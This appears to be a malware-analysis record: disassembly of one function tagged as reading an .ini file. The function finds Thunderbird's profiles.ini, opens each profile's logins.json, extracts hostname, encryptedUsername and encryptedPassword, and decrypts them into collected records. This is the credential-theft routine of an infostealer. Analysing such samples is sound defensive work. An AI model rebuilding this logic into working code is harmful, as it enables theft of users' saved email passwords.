Function at 0x41579c
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x514
mov dword [ebp - 8], ecx
lea ecx, [ebp - 1]
call fcn.0041e29b
push 0x4283f8
lea ecx, [ebp - 0x14]
call fcn.00406f64
push 0x208
push 0
lea eax, [ebp - 0x514]
push eax
call fcn.0040132f
add esp, 0xc
and dword [ebp - 0x24], 0
and dword [ebp - 0x40], 0
and dword [ebp - 0x3c], 0
and dword [ebp - 0x28], 0
push 0x104
push 0
lea eax, [ebp - 0x30c]
push eax
call fcn.0040132f
add esp, 0xc
push 0x104
lea eax, [ebp - 0x30c]
push eax
push str.thunderbird.exe
call fcn.00417bc1
add esp, 0xc
lea eax, [ebp - 0x30c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00406f64
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
push ecx
mov ecx, esp
lea eax, [ebp - 0x2c]
push eax
call fcn.00406fbc
mov ecx, dword [ebp - 8]
call fcn.00416d22
test eax, eax
jne 0x415894
push ecx
mov ecx, esp
lea eax, [ebp - 0x2c]
push eax
call fcn.00406fbc
mov ecx, dword [ebp - 8]
call fcn.00416d22
test eax, eax
jne 0x415894
and dword [ebp - 0xdc], 0
lea ecx, [ebp - 0x2c]
call fcn.00406be2
lea ecx, [ebp - 0x14]
call fcn.00406be2
lea ecx, [ebp - 1]
call fcn.0041e292
lea ecx, [ebp + 8]
call fcn.00406be2
mov eax, dword [ebp - 0xdc]
jmp 0x415e60
push str.Thunderbird_
lea ecx, [ebp + 8]
call fcn.00406c53
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x30]
call fcn.00406fbc
push str.profiles.ini
lea ecx, [ebp - 0x30]
call fcn.00406c53
push 0x428460
lea ecx, [ebp - 0x50]
call fcn.00406f64
push eax
lea ecx, [ebp - 0x14]
call fcn.00406bfc
lea ecx, [ebp - 0x50]
call fcn.00406be2
push dword [ebp - 0x24]
lea ecx, [ebp - 0x14]
call fcn.00406cda
lea ecx, [ebp - 0x30]
call fcn.00406f44
mov dword [ebp - 0x54], eax
lea ecx, [ebp - 0x14]
call fcn.00406f44
mov dword [ebp - 0x58], eax
push dword [ebp - 0x54]
push 0x104
lea eax, [ebp - 0x514]
push eax
push 0
push str.Path
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x415e20
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
push str.Profile
lea ecx, [ebp - 0x5c]
call fcn.00406f64
push eax
lea ecx, [ebp - 0x14]
call fcn.00406bfc
lea ecx, [ebp - 0x5c]
call fcn.00406be2
push dword [ebp - 0x24]
lea ecx, [ebp - 0x14]
call fcn.00406cda
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
call fcn.00406fbc
lea eax, [ebp - 0x514]
push eax
lea ecx, [ebp - 0x10]
call fcn.00406c53
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x10]
call fcn.00406e4b
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x84]
mov dword [ebp - 0x60], eax
lea ecx, [ebp - 0x20]
call fcn.00406b4a
push eax
call dword [ebp - 0x60]
pop ecx
test eax, eax
je 0x4159ae
lea ecx, [ebp - 0x20]
call fcn.00406b06
lea ecx, [ebp - 0x10]
call fcn.00406be2
jmp 0x4158e3
mov eax, dword [ebp - 8]
call dword [eax + 0x9c]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x4159d5
lea ecx, [ebp - 0x20]
call fcn.00406b06
lea ecx, [ebp - 0x10]
call fcn.00406be2
jmp 0x4158e3
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x98]
mov dword [ebp - 0x64], eax
push 0
push 1
push dword [ebp - 0x28]
call dword [ebp - 0x64]
add esp, 0xc
test eax, eax
je 0x415a07
lea ecx, [ebp - 0x20]
call fcn.00406b06
lea ecx, [ebp - 0x10]
call fcn.00406be2
jmp 0x4158e3
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00406fbc
push str.logins.json
lea ecx, [ebp - 0x1c]
call fcn.00406c53
push 0x1a
lea eax, [ebp - 0xc]
push eax
call fcn.0041e9f8
pop ecx
pop ecx
push 0x4284a8
lea ecx, [ebp - 0xc]
call fcn.00406c53
push 8
lea eax, [ebp - 0x68]
push eax
call fcn.00406d2e
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0xc]
call fcn.00406cc1
lea ecx, [ebp - 0x68]
call fcn.00406be2
push 0x4284ac
lea ecx, [ebp - 0xc]
call fcn.00406c53
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0041ec89
pop ecx
pop ecx
test eax, eax
jne 0x415a7a
jmp 0x415a86
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00406bfc
lea ecx, [ebp - 0x104]
call fcn.0041f24c
push 1
push 0xc0000000
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x104]
call fcn.0041edb5
test eax, eax
jne 0x415adb
lea ecx, [ebp - 0x104]
call fcn.0041edeb
lea ecx, [ebp - 0xc]
call fcn.00406be2
lea ecx, [ebp - 0x1c]
call fcn.00406be2
lea ecx, [ebp - 0x20]
call fcn.00406b06
lea ecx, [ebp - 0x10]
call fcn.00406be2
jmp 0x4158e3
lea ecx, [ebp - 0x38]
call fcn.00406692
push 0
lea ecx, [ebp - 0x104]
call fcn.0041eddc
push eax
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x104]
call fcn.0041ed2a
push 0x4284b8
lea ecx, [ebp - 0x78]
call fcn.00406b58
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x38]
call fcn.004064e1
mov dword [ebp - 0x70], eax
push dword [ebp - 0x6c]
push dword [ebp - 0x70]
call fcn.004148a1
pop ecx
pop ecx
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x74]
call fcn.00406b06
lea ecx, [ebp - 0x78]
call fcn.00406b06
cmp dword [ebp - 0x18], 0
je 0x415da6
lea ecx, [ebp - 0xec]
call fcn.00419976
push str.hostname
lea ecx, [ebp - 0x88]
call fcn.00406b58
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x38]
call fcn.004064e1
mov dword [ebp - 0x80], eax
push dword [ebp - 0x18]
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
lea eax, [ebp - 0x4c]
push eax
call fcn.0041490e
add esp, 0x10
lea ecx, [ebp - 0x84]
call fcn.00406b06
lea ecx, [ebp - 0x88]
call fcn.00406b06
push str.encryptedUsername
lea ecx, [ebp - 0x98]
call fcn.00406b58
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x38]
call fcn.004064e1
mov dword [ebp - 0x90], eax
push dword [ebp - 0x18]
push dword [ebp - 0x8c]
push dword [ebp - 0x90]
lea eax, [ebp - 0x48]
push eax
call fcn.0041490e
add esp, 0x10
lea ecx, [ebp - 0x94]
call fcn.00406b06
lea ecx, [ebp - 0x98]
call fcn.00406b06
push str.encryptedPassword
lea ecx, [ebp - 0xa8]
call fcn.00406b58
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0xa4]
push eax
lea ecx, [ebp - 0x38]
call fcn.004064e1
mov dword [ebp - 0xa0], eax
push dword [ebp - 0x18]
push dword [ebp - 0x9c]
push dword [ebp - 0xa0]
lea eax, [ebp - 0x44]
push eax
call fcn.0041490e
add esp, 0x10
lea ecx, [ebp - 0xa4]
call fcn.00406b06
lea ecx, [ebp - 0xa8]
call fcn.00406b06
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x48]
call fcn.00406b4a
push eax
mov ecx, dword [ebp - 8]
call fcn.00416647
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x44]
call fcn.00406b4a
push eax
mov ecx, dword [ebp - 8]
call fcn.00416647
lea eax, [ebp - 0xac]
push eax
lea ecx, [ebp - 0x4c]
call fcn.00406770
push eax
lea ecx, [ebp - 0xec]
call fcn.00406bfc
lea ecx, [ebp - 0xac]
call fcn.00406be2
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xbc]
call fcn.00406b58
mov dword [ebp - 0xb4], eax
lea eax, [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xb4]
call fcn.00406770
push eax
lea ecx, [ebp - 0xe8]
call fcn.00406bfc
lea ecx, [ebp - 0xb8]
call fcn.00406be2
lea ecx, [ebp - 0xbc]
call fcn.00406b06
push dword [ebp - 0xc0]
lea ecx, [ebp - 0xcc]
call fcn.00406b58
mov dword [ebp - 0xc4], eax
lea eax, [ebp - 0xc8]
push eax
mov ecx, dword [ebp - 0xc4]
call fcn.00406770
push eax
lea ecx, [ebp - 0xe4]
call fcn.00406bfc
lea ecx, [ebp - 0xc8]
call fcn.00406be2
lea ecx, [ebp - 0xcc]
call fcn.00406b06
mov dword [ebp - 0xe0], 4
mov eax, dword [ebp - 8]
mov dword [ebp - 0xd0], eax
sub esp, 0x10
mov ecx, esp
lea eax, [ebp - 0xec]
push eax
call fcn.00403cd2
mov ecx, dword [ebp - 0xd0]
call fcn.00403e71
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x44]
call fcn.00406b06
lea ecx, [ebp - 0x48]
call fcn.00406b06
lea ecx, [ebp - 0x4c]
call fcn.00406b06
lea ecx, [ebp - 0xec]
call fcn.004018bb
jmp 0x415b3f
lea eax, [ebp - 0xc]
push eax
call fcn.0041e9e4
pop ecx
test eax, eax
je 0x415dc6
push ecx
mov ecx, esp
lea eax, [ebp - 0xc]
push eax
call fcn.00406fbc
call fcn.0041ee12
pop ecx
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0xd4], eax
push dword [ebp - 0x28]
call dword [ebp - 0xd4]
pop ecx
mov eax, dword [ebp - 8]
call dword [eax + 0x88]
lea ecx, [ebp - 0x38]
call fcn.004066da
lea ecx, [ebp - 0x104]
call fcn.0041edeb
lea ecx, [ebp - 0xc]
call fcn.00406be2
lea ecx, [ebp - 0x1c]
call fcn.00406be2
lea ecx, [ebp - 0x20]
call fcn.00406b06
lea ecx, [ebp - 0x10]
call fcn.00406be2
jmp 0x4158e3
mov ecx, dword [ebp - 8]
call fcn.00416c9c
mov dword [ebp - 0xd8], 1
lea ecx, [ebp - 0x30]
call fcn.00406be2
lea ecx, [ebp - 0x2c]
call fcn.00406be2
lea ecx, [ebp - 0x14]
call fcn.00406be2
lea ecx, [ebp - 1]
call fcn.0041e292
lea ecx, [ebp + 8]
call fcn.00406be2
mov eax, dword [ebp - 0xd8]
leave
ret 4